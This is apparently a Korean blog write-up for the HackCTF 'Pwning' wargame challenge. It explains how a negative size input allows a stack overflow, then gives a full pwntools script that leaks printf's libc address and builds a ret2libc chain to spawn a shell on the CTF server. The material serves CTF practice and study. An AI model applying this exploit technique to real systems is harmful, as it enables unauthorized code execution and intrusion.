본문 바로가기

Pwning 본문

wargame/HackCTF

Pwning

Seongjun_You 2021. 12. 13. 19:22

입력받을 사이즈를 지정할 수 있다.

 

사이즈가 -1이 되면 0xffffffff만큼 입력받을 수 있다.

 

ret까지 48byte이다.

 

먼저 libc계산을 위해 printf의 실제 주소를 얻는다.

 

 

 

 

 

020을 libc database에 검색하여 libc 몇 버전인지 찾은 후 rop를 진행한다.

 

 

 

from pwn import *
p = remote("ctf.j0n9hyun.xyz",3019)
#p = process("./pwning")
elf = ELF("./pwning")

context.log_level = "Debug"

p.sendline("-1")

payload = "A"*48
payload += p32(elf.plt['printf'])
payload += p32(elf.symbols['vuln'])
payload += p32(elf.got['printf'])
p.sendline(payload)
p.recvuntil("\n")
p.recvuntil("\n")
print_addr = u32(p.recv(4))

system = print_addr - 0xe6e0
binsh = print_addr + 0x11000b

p.sendline("-1")
payload = "A"*48
payload += p32(system)
payload += "A"*4
payload += p32(binsh)
p.sendline(payload)
p.interactive()

 

'wargame > HackCTF' 카테고리의 다른 글

ROP  (0) 2021.12.13
UAF  (0) 2021.12.13
gift  (0) 2021.12.13
Look at me  (0) 2021.12.13
Beginner_Heap  (0) 2021.12.13
Comments